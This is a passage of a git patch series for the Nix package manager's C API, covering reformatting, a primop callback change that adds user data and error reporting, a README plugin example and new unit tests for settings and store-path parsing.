"Setting not found"); - } +nix_err nix_setting_set(nix_c_context * context, const char * key, const char * value) +{ + if (context) + context->last_err_code = NIX_OK; + if (nix::globalConfig.set(key, value)) + return NIX_OK; + else { + return nix_set_err_msg(context, NIX_ERR_KEY, "Setting not found"); + } } -nix_err nix_libutil_init(nix_c_context *context) { - if (context) - context->last_err_code = NIX_OK; - try { - nix::initLibUtil(); - return NIX_OK; - } - NIXC_CATCH_ERRS +nix_err nix_libutil_init(nix_c_context * context) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::initLibUtil(); + return NIX_OK; + } + NIXC_CATCH_ERRS } -const char *nix_err_msg(nix_c_context *context, - const nix_c_context *read_context, unsigned int *n) { - if (context) - context->last_err_code = NIX_OK; - if (read_context->last_err) { - if (n) - *n = read_context->last_err->size(); - return read_context->last_err->c_str(); - } - nix_set_err_msg(context, NIX_ERR_UNKNOWN, "No error message"); - return nullptr; +const char * nix_err_msg(nix_c_context * context, const nix_c_context * read_context, unsigned int * n) +{ + if (context) + context->last_err_code = NIX_OK; + if (read_context->last_err) { + if (n) + *n = read_context->last_err->size(); + return read_context->last_err->c_str(); + } + nix_set_err_msg(context, NIX_ERR_UNKNOWN, "No error message"); + return nullptr; } -nix_err nix_err_name(nix_c_context *context, const nix_c_context *read_context, - char *value, int n) { - if (context) - context->last_err_code = NIX_OK; - if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { - return nix_set_err_msg(context, NIX_ERR_UNKNOWN, - "Last error was not a nix error"); - } - return nix_export_std_string(context, read_context->name, value, n); +nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context, char * value, int n) +{ + if (context) + context->last_err_code = NIX_OK; + if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { + return nix_set_err_msg(context, NIX_ERR_UNKNOWN, "Last error was not a nix error"); + } + return nix_export_std_string(context, read_context->name, value, n); } -nix_err nix_err_info_msg(nix_c_context *context, - const nix_c_context *read_context, char *value, - int n) { - if (context) - context->last_err_code = NIX_OK; - if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { - return nix_set_err_msg(context, NIX_ERR_UNKNOWN, - "Last error was not a nix error"); - } - return nix_export_std_string(context, read_context->info->msg.str(), value, - n); +nix_err nix_err_info_msg(nix_c_context * context, const nix_c_context * read_context, char * value, int n) +{ + if (context) + context->last_err_code = NIX_OK; + if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { + return nix_set_err_msg(context, NIX_ERR_UNKNOWN, "Last error was not a nix error"); + } + return nix_export_std_string(context, read_context->info->msg.str(), value, n); } -nix_err nix_err_code(const nix_c_context *read_context) { - return read_context->last_err_code; +nix_err nix_err_code(const nix_c_context * read_context) +{ + return read_context->last_err_code; } // internal -nix_err nix_export_std_string(nix_c_context *context, - const std::string_view str, char *dest, - unsigned int n) { - size_t i = str.copy(dest, n - 1); - dest[i] = 0; - if (i == n - 1) { - return nix_set_err_msg(context, NIX_ERR_OVERFLOW, - "Provided buffer too short"); - } else - return NIX_OK; +nix_err nix_export_std_string(nix_c_context * context, const std::string_view str, char * dest, unsigned int n) +{ + size_t i = str.copy(dest, n - 1); + dest[i] = 0; + if (i == n - 1) { + return nix_set_err_msg(context, NIX_ERR_OVERFLOW, "Provided buffer too short"); + } else + return NIX_OK; } diff --git a/src/libutil/c/nix_api_util.h b/src/libutil/c/nix_api_util.h index 4a7f6c4cd..de029ba10 100644 --- a/src/libutil/c/nix_api_util.h +++ b/src/libutil/c/nix_api_util.h @@ -127,12 +127,12 @@ typedef struct nix_c_context nix_c_context; * @return allocated nix_c_context, owned by the caller. Free using * `nix_c_context_free`. */ -nix_c_context *nix_c_context_create(); +nix_c_context * nix_c_context_create(); /** * @brief Free a nix_c_context. Does not fail. * @param[out] context The context to free, mandatory. */ -void nix_c_context_free(nix_c_context *context); +void nix_c_context_free(nix_c_context * context); /** * @} */ @@ -147,7 +147,7 @@ void nix_c_context_free(nix_c_context *context); * @return NIX_OK if the initialization is successful, or an error code * otherwise. */ -nix_err nix_libutil_init(nix_c_context *context); +nix_err nix_libutil_init(nix_c_context * context); /** @defgroup settings * @{ @@ -167,8 +167,7 @@ nix_err nix_libutil_init(nix_c_context *context); * provided buffer is too short, or NIX_OK if the setting was retrieved * successfully. */ -nix_err nix_setting_get(nix_c_context *context, const char *key, char *value, - int n); +nix_err nix_setting_get(nix_c_context * context, const char * key, char * value, int n); /** * @brief Sets a setting in the nix global configuration. @@ -184,8 +183,7 @@ nix_err nix_setting_get(nix_c_context *context, const char *key, char *value, * @return NIX_ERR_KEY if the setting is unknown, or NIX_OK if the setting was * set successfully. */ -nix_err nix_setting_set(nix_c_context *context, const char *key, - const char *value); +nix_err nix_setting_set(nix_c_context * context, const char * key, const char * value); /** * @} @@ -198,7 +196,7 @@ nix_err nix_setting_set(nix_c_context *context, const char *key, * Does not fail. * @return A static string representing the version of the nix library. */ -const char *nix_version_get(); +const char * nix_version_get(); /** @addtogroup errors * @{ @@ -217,8 +215,7 @@ const char *nix_version_get(); * @return nullptr if no error message was ever set, * a borrowed pointer to the error message otherwise. */ -const char *nix_err_msg(nix_c_context *context, const nix_c_context *ctx, - unsigned int *n); +const char * nix_err_msg(nix_c_context * context, const nix_c_context * ctx, unsigned int * n); /** * @brief Retrieves the error message from errorInfo in a context. @@ -235,8 +232,7 @@ const char *nix_err_msg(nix_c_context *context, const nix_c_context *ctx, * @param[in] n Maximum size of the returned string. * @return NIX_OK if there were no errors, an error code otherwise. */ -nix_err nix_err_info_msg(nix_c_context *context, - const nix_c_context *read_context, char *value, int n); +nix_err nix_err_info_msg(nix_c_context * context, const nix_c_context * read_context, char * value, int n); /** * @brief Retrieves the error name from a context. @@ -253,8 +249,7 @@ nix_err nix_err_info_msg(nix_c_context *context, * @param[in] n Maximum size of the returned string. * @return NIX_OK if there were no errors, an error code otherwise. */ -nix_err nix_err_name(nix_c_context *context, const nix_c_context *read_context, - char *value, int n); +nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context, char * value, int n); /** * @brief Retrieves the most recent error code from a nix_c_context @@ -266,7 +261,7 @@ nix_err nix_err_name(nix_c_context *context, const nix_c_context *read_context, * @param[in] read_context the context to retrieve the error message from * @return most recent error code stored in the context. */ -nix_err nix_err_code(const nix_c_context *read_context); +nix_err nix_err_code(const nix_c_context * read_context); /** * @} diff --git a/src/libutil/c/nix_api_util_internal.h b/src/libutil/c/nix_api_util_internal.h index 013d3bbbb..1aaf328c1 100644 --- a/src/libutil/c/nix_api_util_internal.h +++ b/src/libutil/c/nix_api_util_internal.h @@ -7,14 +7,15 @@ #include "error.hh" #include "nix_api_util.h" -struct nix_c_context { - nix_err last_err_code = NIX_OK; - std::optional last_err = {}; - std::optional info = {}; - std::string name = ""; +struct nix_c_context +{ + nix_err last_err_code = NIX_OK; + std::optional last_err = {}; + std::optional info = {}; + std::string name = ""; }; -nix_err nix_context_error(nix_c_context *context); +nix_err nix_context_error(nix_c_context * context); /** * Internal use only. @@ -26,7 +27,7 @@ nix_err nix_context_error(nix_c_context *context); * @param msg The error message to set. * @returns the error code set */ -nix_err nix_set_err_msg(nix_c_context *context, nix_err err, const char *msg); +nix_err nix_set_err_msg(nix_c_context * context, nix_err err, const char * msg); /** * Internal use only. @@ -40,21 +41,21 @@ nix_err nix_set_err_msg(nix_c_context *context, nix_err err, const char *msg); * @return NIX_OK if there were no errors, NIX_ERR_OVERFLOW if the string length * exceeds `n`. */ -nix_err nix_export_std_string(nix_c_context *context, - const std::string_view str, char *dest, - unsigned int n); +nix_err nix_export_std_string(nix_c_context * context, const std::string_view str, char * dest, unsigned int n); -#define NIXC_CATCH_ERRS \ - catch (...) { \ - return nix_context_error(context); \ - } \ - return NIX_OK; +#define NIXC_CATCH_ERRS \ + catch (...) \ + { \ + return nix_context_error(context); \ + } \ + return NIX_OK; -#define NIXC_CATCH_ERRS_RES(def) \ - catch (...) { \ - nix_context_error(context); \ - return def; \ - } +#define NIXC_CATCH_ERRS_RES(def) \ + catch (...) \ + { \ + nix_context_error(context); \ + return def; \ + } #define NIXC_CATCH_ERRS_NULL NIXC_CATCH_ERRS_RES(nullptr) #endif // NIX_API_UTIL_INTERNAL_H From 9e423dee11572e6171f33e2645762e6f2bf11980 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 28 Aug 2023 17:27:05 +0200 Subject: [PATCH 0339/1251] C API: update after rebase --- src/libexpr/c/local.mk | 2 +- src/libstore/c/nix_api_store.cc | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/libexpr/c/local.mk b/src/libexpr/c/local.mk index d2f01c0a9..01b03f4d2 100644 --- a/src/libexpr/c/local.mk +++ b/src/libexpr/c/local.mk @@ -9,7 +9,7 @@ libexprc_SOURCES := \ libexprc_CXXFLAGS += -I src/libutil -Isrc/libfetchers -I src/libstore -I src/libstorec -I src/libexpr -I src/libutil/c -I src/libstore/c -libexprc_LIBS = libutil libutilc libstorec libexpr +libexprc_LIBS = libutil libutilc libstore libstorec libexpr libexprc_LDFLAGS += -pthread diff --git a/src/libstore/c/nix_api_store.cc b/src/libstore/c/nix_api_store.cc index 4ee97c8a1..496b20534 100644 --- a/src/libstore/c/nix_api_store.cc +++ b/src/libstore/c/nix_api_store.cc @@ -3,6 +3,7 @@ #include "nix_api_util.h" #include "nix_api_util_internal.h" +#include "path.hh" #include "store-api.hh" #include "globals.hh" @@ -118,7 +119,7 @@ nix_err nix_store_build( try { store->ptr->buildPaths({ nix::DerivedPath::Built{ - .drvPath = path->path, + .drvPath = nix::makeConstantStorePathRef(path->path), .outputs = nix::OutputsSpec::All{}, }, }); From 48aa57549d514432d6621c1e29f051951eca2d7f Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 28 Aug 2023 18:20:23 +0200 Subject: [PATCH 0340/1251] primops: change to std::function, allowing the passing of user data --- src/libexpr/eval.hh | 3 ++- src/libexpr/primops.cc | 7 +++++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index f15d19653..a1b0e58e4 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -17,6 +17,7 @@ #include #include #include +#include namespace nix { @@ -72,7 +73,7 @@ struct PrimOp /** * Implementation of the primop. */ - PrimOpFun fun; + std::function::type> fun; /** * Optional experimental for this to be gated on. diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index db4237130..a619a627a 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -3402,8 +3402,11 @@ static void prim_sort(EvalState & state, const PosIdx pos, Value * * args, Value callFunction. */ /* TODO: (layus) this is absurd. An optimisation like this should be outside the lambda creation */ - if (args[0]->isPrimOp() && args[0]->primOp->fun == prim_lessThan) - return CompareValues(state, noPos, "while evaluating the ordering function passed to builtins.sort")(a, b); + if (args[0]->isPrimOp()) { + auto ptr = args[0]->primOp->fun.target(); + if (ptr && *ptr == prim_lessThan) + return CompareValues(state, noPos, "while evaluating the ordering function passed to builtins.sort")(a, b); + } Value * vs[] = {a, b}; Value vBool; From 3d79f3870926f420560cb63c82e872905ae72766 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 28 Aug 2023 18:20:52 +0200 Subject: [PATCH 0341/1251] C API: add user_data argument to nix_alloc_primop Also add a helper function for primops, that converts to C argument types (and eventually handles errors) --- src/libexpr/c/nix_api_value.cc | 27 ++++++++++++++++++++++++--- src/libexpr/c/nix_api_value.h | 19 ++++++++++++++----- 2 files changed, 38 insertions(+), 8 deletions(-) diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc index 608a625cb..9a313d8fd 100644 --- a/src/libexpr/c/nix_api_value.cc +++ b/src/libexpr/c/nix_api_value.cc @@ -34,18 +34,39 @@ static nix::Value & check_value_not_null(Value * value) return *((nix::Value *) value); } +/** + * Helper function to convert calls from nix into C API. + * + * Deals with errors and converts arguments from C++ into C types. + */ +static void nix_c_primop_wrapper( + PrimOpFun f, void * userdata, nix::EvalState & state, const nix::PosIdx pos, nix::Value ** args, nix::Value & v) +{ + f(userdata, (State *) &state, *reinterpret_cast(&pos), (Value **) args, (Value *) &v); +} + PrimOp * nix_alloc_primop( - nix_c_context * context, PrimOpFun fun, int arity, const char * name, const char ** args, const char * doc) + nix_c_context * context, + PrimOpFun fun, + int arity, + const char * name, + const char ** args, + const char * doc, + void * user_data) { if (context) context->last_err_code = NIX_OK; try { - auto fun2 = (nix::PrimOpFun) fun; auto p = new #ifdef HAVE_BOEHMGC (GC) #endif - nix::PrimOp{.name = name, .args = {}, .arity = (size_t) arity, .doc = doc, .fun = fun2}; + nix::PrimOp{ + .name = name, + .args = {}, + .arity = (size_t) arity, + .doc = doc, + .fun = std::bind_front(nix_c_primop_wrapper, fun, user_data)}; if (args) for (size_t i = 0; args[i]; i++) p->args.emplace_back(*args); diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index 21647552b..ffba4c097 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -65,6 +65,7 @@ typedef struct ExternalValue ExternalValue; * @{ */ /** @brief Function pointer for primops + * @param[in] user_data Arbitrary data, passed to nix_alloc_primop and stored. * @param[in] state Evaluator state * @param[in] pos Call position, opaque index into the state's position table. * @param[in] args list of arguments. Note that these can be thunks and should be forced using nix_value_force before @@ -72,7 +73,7 @@ typedef struct ExternalValue ExternalValue; * @param[out] ret return value * @see nix_alloc_primop, nix_set_primop */ -typedef void (*PrimOpFun)(State * state, int pos, Value ** args, Value * ret); +typedef void (*PrimOpFun)(void * user_data, State * state, int pos, Value ** args, Value * ret); /** @brief Allocate a PrimOp * @@ -85,19 +86,27 @@ typedef void (*PrimOpFun)(State * state, int pos, Value ** args, Value * ret); * @param[in] name function name * @param[in] args array of argument names, NULL-terminated * @param[in] doc optional, documentation for this primop + * @param[in] user_data optional, arbitrary data, passed to the function when it's called * @return primop, or null in case of errors * @see nix_set_primop */ PrimOp * nix_alloc_primop( - nix_c_context * context, PrimOpFun fun, int arity, const char * name, const char ** args, const char * doc); + nix_c_context * context, + PrimOpFun fun, + int arity, + const char * name, + const char ** args, + const char * doc, + void * user_data); /** @brief add a primop to the `builtins` attribute set * * Only applies to States created after this call. * - * Moves your PrimOp into the global evaluator - * registry, meaning your input PrimOp pointer is no longer usable - * (but still possibly subject to garbage collection). + * Moves your PrimOp content into the global evaluator + * registry, meaning your input PrimOp pointer is no longer usable. + * You are free to remove your references to it, + * after which it will be garbage collected. * * @param[out] context Optional, stores error information * @return primop, or null in case of errors From ab9250286afa65737503de7019fdf079b3de6e82 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 28 Aug 2023 22:19:28 +0200 Subject: [PATCH 0342/1251] C API: add a way to throw errors from primops --- doc/external-api/README.md | 8 ++++---- src/libexpr/c/nix_api_value.cc | 7 ++++++- src/libexpr/c/nix_api_value.h | 10 ++++++---- src/libutil/c/nix_api_util.h | 14 ++++++++++++++ src/libutil/c/nix_api_util_internal.h | 12 ------------ 5 files changed, 30 insertions(+), 21 deletions(-) diff --git a/doc/external-api/README.md b/doc/external-api/README.md index 8b9061df2..3b802952c 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -58,7 +58,7 @@ Nix version: 2.17 # Writing a Nix language plug-in In this example we add a custom primitive operation (*primop*) to `builtins`. -It will increment the argument if it is an integer and return `null` otherwise. +It will increment the argument if it is an integer and throw an error otherwise. **plugin.c:** ```C @@ -66,18 +66,18 @@ It will increment the argument if it is an integer and return `null` otherwise. #include #include -void increment(State* state, int pos, Value** args, Value* v) { +void increment(void* user_data, nix_c_context* ctx, State* state, Value** args, Value* v) { nix_value_force(NULL, state, args[0]); if (nix_get_type(NULL, args[0]) == NIX_TYPE_INT) { nix_set_int(NULL, v, nix_get_int(NULL, args[0]) + 1); } else { - nix_set_null(NULL, v); + nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "First argument should be an integer."); } } void nix_plugin_entry() { const char* args[] = {"n", NULL}; - PrimOp *p = nix_alloc_primop(NULL, increment, 1, "increment", args, "Example custom built-in function: increments an integer"); + PrimOp *p = nix_alloc_primop(NULL, increment, 1, "increment", args, "Example custom built-in function: increments an integer", NULL); nix_register_primop(NULL, p); nix_gc_decref(NULL, p); } diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc index 9a313d8fd..8b73729a5 100644 --- a/src/libexpr/c/nix_api_value.cc +++ b/src/libexpr/c/nix_api_value.cc @@ -42,7 +42,12 @@ static nix::Value & check_value_not_null(Value * value) static void nix_c_primop_wrapper( PrimOpFun f, void * userdata, nix::EvalState & state, const nix::PosIdx pos, nix::Value ** args, nix::Value & v) { - f(userdata, (State *) &state, *reinterpret_cast(&pos), (Value **) args, (Value *) &v); + nix_c_context ctx; + f(userdata, &ctx, (State *) &state, (Value **) args, (Value *) &v); + /* TODO: In the future, this should throw different errors depending on the error code */ + if (ctx.last_err_code != NIX_OK) + state.debugThrowLastTrace(nix::Error( + {.msg = nix::hintfmt("Error from builtin function: %s", *ctx.last_err), .errPos = state.positions[pos]})); } PrimOp * nix_alloc_primop( diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index ffba4c097..ca4e83cf4 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -65,15 +65,17 @@ typedef struct ExternalValue ExternalValue; * @{ */ /** @brief Function pointer for primops - * @param[in] user_data Arbitrary data, passed to nix_alloc_primop and stored. + * When you want to return an error, call nix_set_err_msg(context, NIX_ERR_UNKNOWN, "your error message here"). + * + * @param[in] user_data Arbitrary data that was initially supplied to nix_alloc_primop + * @param[out] context Stores error information. * @param[in] state Evaluator state - * @param[in] pos Call position, opaque index into the state's position table. * @param[in] args list of arguments. Note that these can be thunks and should be forced using nix_value_force before * use. * @param[out] ret return value * @see nix_alloc_primop, nix_set_primop */ -typedef void (*PrimOpFun)(void * user_data, State * state, int pos, Value ** args, Value * ret); +typedef void (*PrimOpFun)(void * user_data, nix_c_context * context, State * state, Value ** args, Value * ret); /** @brief Allocate a PrimOp * @@ -86,7 +88,7 @@ typedef void (*PrimOpFun)(void * user_data, State * state, int pos, Value ** arg * @param[in] name function name * @param[in] args array of argument names, NULL-terminated * @param[in] doc optional, documentation for this primop - * @param[in] user_data optional, arbitrary data, passed to the function when it's called + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called * @return primop, or null in case of errors * @see nix_set_primop */ diff --git a/src/libutil/c/nix_api_util.h b/src/libutil/c/nix_api_util.h index de029ba10..c288654fd 100644 --- a/src/libutil/c/nix_api_util.h +++ b/src/libutil/c/nix_api_util.h @@ -263,6 +263,20 @@ nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context */ nix_err nix_err_code(const nix_c_context * read_context); +/** + * @brief Set an error message on a nix context. + * + * This should be used when you want to throw an error from a PrimOp callback. + * + * All other use is internal to the API. + * + * @param context context to write the error message to, or NULL + * @param err The error code to set and return + * @param msg The error message to set. + * @returns the error code set + */ +nix_err nix_set_err_msg(nix_c_context * context, nix_err err, const char * msg); + /** * @} */ diff --git a/src/libutil/c/nix_api_util_internal.h b/src/libutil/c/nix_api_util_internal.h index 1aaf328c1..53c260e35 100644 --- a/src/libutil/c/nix_api_util_internal.h +++ b/src/libutil/c/nix_api_util_internal.h @@ -17,18 +17,6 @@ struct nix_c_context nix_err nix_context_error(nix_c_context * context); -/** - * Internal use only. - * - * Sets the most recent error message. - * - * @param context context to write the error message to, or NULL - * @param err The error code to set and return - * @param msg The error message to set. - * @returns the error code set - */ -nix_err nix_set_err_msg(nix_c_context * context, nix_err err, const char * msg); - /** * Internal use only. * From c6e28d8da238861432b9d1f9010dc7c25841ac78 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 28 Aug 2023 23:17:43 +0200 Subject: [PATCH 0343/1251] C API: fix: macos doesn't have std::bind_front --- src/libexpr/c/nix_api_value.cc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc index 8b73729a5..2348b75ed 100644 --- a/src/libexpr/c/nix_api_value.cc +++ b/src/libexpr/c/nix_api_value.cc @@ -62,6 +62,7 @@ PrimOp * nix_alloc_primop( if (context) context->last_err_code = NIX_OK; try { + using namespace std::placeholders; auto p = new #ifdef HAVE_BOEHMGC (GC) @@ -71,7 +72,7 @@ PrimOp * nix_alloc_primop( .args = {}, .arity = (size_t) arity, .doc = doc, - .fun = std::bind_front(nix_c_primop_wrapper, fun, user_data)}; + .fun = std::bind(nix_c_primop_wrapper, fun, user_data, _1, _2, _3, _4)}; if (args) for (size_t i = 0; args[i]; i++) p->args.emplace_back(*args); From 550af113c6877654ce29e457a09a0ba46169ebbf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Tue, 28 Nov 2023 15:05:04 +0100 Subject: [PATCH 0344/1251] String value refactor Related to https://github.com/NixOS/nix/pull/9047 --- src/libexpr/c/nix_api_value.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc index 2348b75ed..d013d5333 100644 --- a/src/libexpr/c/nix_api_value.cc +++ b/src/libexpr/c/nix_api_value.cc @@ -171,7 +171,7 @@ const char * nix_get_string(nix_c_context * context, const Value * value) try { auto & v = check_value_not_null(value); assert(v.type() == nix::nString); - return v.string.s; + return v.c_str(); } NIXC_CATCH_ERRS_NULL } @@ -183,7 +183,7 @@ const char * nix_get_path_string(nix_c_context * context, const Value * value) try { auto & v = check_value_not_null(value); assert(v.type() == nix::nPath); - return v._path; + return v.path().to_string().c_str(); } NIXC_CATCH_ERRS_NULL } From 46f5d0ee7bb8ecc01dad3a80000ed11fd7c236d7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Wed, 6 Dec 2023 15:54:23 +0100 Subject: [PATCH 0345/1251] Apply suggestions from code review --- src/libexpr/c/nix_api_value.cc | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc index d013d5333..b0fb960c6 100644 --- a/src/libexpr/c/nix_api_value.cc +++ b/src/libexpr/c/nix_api_value.cc @@ -183,7 +183,14 @@ const char * nix_get_path_string(nix_c_context * context, const Value * value) try { auto & v = check_value_not_null(value); assert(v.type() == nix::nPath); - return v.path().to_string().c_str(); + // NOTE (from @yorickvP) + // v._path.path should work but may not be how Eelco intended it. + // Long-term this function should be rewritten to copy some data into a + // user-allocated string. + // We could use v.path().to_string().c_str(), but I'm concerned this + // crashes. Looks like .path() allocates a CanonPath with a copy of the + // string, then it gets the underlying data from that. + return v._path.path; } NIXC_CATCH_ERRS_NULL } From 41f1669deab98db5c954d9bfff174dfc8f20bea3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 14 Dec 2023 20:14:58 +0100 Subject: [PATCH 0346/1251] C API: add tests for libutil and libstore --- src/libstore/c/nix_api_store.cc | 5 -- src/libstore/c/nix_api_store_internal.h | 6 ++ tests/unit/libstore/local.mk | 2 +- tests/unit/libstore/nix_api_store.cc | 70 +++++++++++++++++++ .../libutil-support/tests/nix_api_util.hh | 25 +++++++ tests/unit/libutil/nix_api_util.cc | 50 ++++++++----- 6 files changed, 133 insertions(+), 25 deletions(-) create mode 100644 tests/unit/libstore/nix_api_store.cc create mode 100644 tests/unit/libutil-support/tests/nix_api_util.hh diff --git a/src/libstore/c/nix_api_store.cc b/src/libstore/c/nix_api_store.cc index 496b20534..4aff815ff 100644 --- a/src/libstore/c/nix_api_store.cc +++ b/src/libstore/c/nix_api_store.cc @@ -8,11 +8,6 @@ #include "globals.hh" -struct StorePath -{ - nix::StorePath path; -}; - nix_err nix_libstore_init(nix_c_context * context) { if (context) diff --git a/src/libstore/c/nix_api_store_internal.h b/src/libstore/c/nix_api_store_internal.h index ef5edc788..13db0c07c 100644 --- a/src/libstore/c/nix_api_store_internal.h +++ b/src/libstore/c/nix_api_store_internal.h @@ -6,4 +6,10 @@ struct Store { nix::ref ptr; }; + +struct StorePath +{ + nix::StorePath path; +}; + #endif diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk index 960dece89..fe1254487 100644 --- a/tests/unit/libstore/local.mk +++ b/tests/unit/libstore/local.mk @@ -26,6 +26,6 @@ libstore-tests_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES) libstore-tests_LIBS = \ libstore-test-support libutil-test-support \ - libstore libutil + libstore libstorec libutil libutilc libstore-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) diff --git a/tests/unit/libstore/nix_api_store.cc b/tests/unit/libstore/nix_api_store.cc new file mode 100644 index 000000000..3fe55ae93 --- /dev/null +++ b/tests/unit/libstore/nix_api_store.cc @@ -0,0 +1,70 @@ +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "tests/nix_api_util.hh" + +#define STORE_DIR "/nix/store/" +#define HASH_PART "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q" +const char * validPath = STORE_DIR HASH_PART "-x"; + +namespace nixC { + +class nix_api_store_test : public nix_api_util_context +{ +public: + void SetUp() override + { + nix_api_util_context::SetUp(); + nix_libstore_init(ctx); + store = nix_store_open(ctx, "dummy://", NULL); + }; + void TearDown() override + { + nix_store_unref(store); + nix_api_util_context::TearDown(); + } + + Store * store; +}; + +TEST_F(nix_api_util_context, nix_libstore_init) +{ + auto ret = nix_libstore_init(ctx); + ASSERT_EQ(NIX_OK, ret); +} + +TEST_F(nix_api_store_test, nix_store_get_uri) +{ + char value[256]; + auto ret = nix_store_get_uri(ctx, store, value, 256); + ASSERT_EQ(NIX_OK, ret); + ASSERT_STREQ("dummy", value); +} + +TEST_F(nix_api_store_test, InvalidPathFails) +{ + nix_store_parse_path(ctx, store, "invalid-path"); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); +} + +TEST_F(nix_api_store_test, ReturnsValidStorePath) +{ + StorePath * result = nix_store_parse_path(ctx, store, validPath); + ASSERT_NE(result, nullptr); + ASSERT_STREQ("x", result->path.name().data()); + ASSERT_STREQ(HASH_PART "-x", result->path.to_string().data()); +} + +TEST_F(nix_api_store_test, SetsLastErrCodeToNixOk) +{ + nix_store_parse_path(ctx, store, validPath); + ASSERT_EQ(ctx->last_err_code, NIX_OK); +} + +TEST_F(nix_api_store_test, DoesNotCrashWhenContextIsNull) +{ + ASSERT_NO_THROW(nix_store_parse_path(nullptr, store, validPath)); +} + +} diff --git a/tests/unit/libutil-support/tests/nix_api_util.hh b/tests/unit/libutil-support/tests/nix_api_util.hh new file mode 100644 index 000000000..f2ee58da2 --- /dev/null +++ b/tests/unit/libutil-support/tests/nix_api_util.hh @@ -0,0 +1,25 @@ +#pragma once +///@file +#include "nix_api_util.h" + +#include + + +class nix_api_util_context : public ::testing::Test +{ +protected: + static void SetUpTestSuite() + { + nix_libutil_init(NULL); + } + void SetUp() override + { + ctx = nix_c_context_create(); + }; + void TearDown() override + { + nix_c_context_free(ctx); + ctx = nullptr; + } + nix_c_context * ctx; +}; diff --git a/tests/unit/libutil/nix_api_util.cc b/tests/unit/libutil/nix_api_util.cc index 26353fe84..8cc2b6616 100644 --- a/tests/unit/libutil/nix_api_util.cc +++ b/tests/unit/libutil/nix_api_util.cc @@ -3,26 +3,12 @@ #include "args.hh" #include "nix_api_util.h" #include "nix_api_util_internal.h" +#include "tests/nix_api_util.hh" #include namespace nixC { -class nix_api_util_context : public ::testing::Test { -protected: - static void SetUpTestSuite() { - nix_libutil_init(NULL); - } - void SetUp() override { - ctx = nix_c_context_create(); - }; - void TearDown() override { - nix_c_context_free(ctx); - ctx = nullptr; - } - nix_c_context* ctx; -}; - TEST_F(nix_api_util_context, nix_context_error) { std::string err_msg_ref; try { @@ -57,12 +43,38 @@ TEST(nix_api_util, nix_version_get) { ASSERT_EQ(std::string(nix_version_get()), PACKAGE_VERSION); } -TEST_F(nix_api_util_context, nix_setting_get) { - // todo +struct MySettings : nix::Config +{ + nix::Setting settingSet{this, "empty", "setting-name", "Description"}; +}; + +MySettings mySettings; +static nix::GlobalConfig::Register rs(&mySettings); + +TEST_F(nix_api_util_context, nix_setting_get) +{ + ASSERT_EQ(ctx->last_err_code, NIX_OK); + char value[256]; + nix_err result = nix_setting_get(ctx, "invalid-key", value, 256); + ASSERT_EQ(result, NIX_ERR_KEY); + + result = nix_setting_get(ctx, "setting-name", value, 256); + ASSERT_EQ(result, NIX_OK); + ASSERT_STREQ("empty", value); } -TEST_F(nix_api_util_context, nix_setting_set) { - // todo +TEST_F(nix_api_util_context, nix_setting_set) +{ + nix_err result = nix_setting_set(ctx, "invalid-key", "new-value"); + ASSERT_EQ(result, NIX_ERR_KEY); + + result = nix_setting_set(ctx, "setting-name", "new-value"); + ASSERT_EQ(result, NIX_OK); + + char value[256]; + result = nix_setting_get(ctx, "setting-name", value, 256); + ASSERT_EQ(result, NIX_OK); + ASSERT_STREQ("new-value", value); } TEST_F(nix_api_util_context, nix_err_msg) { From 55601963b3c4f40b4bdac42a4531fd3177c93935 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Fri, 15 Dec 2023 00:26:45 +0100 Subject: [PATCH 0347/1251] C API: fix documentation 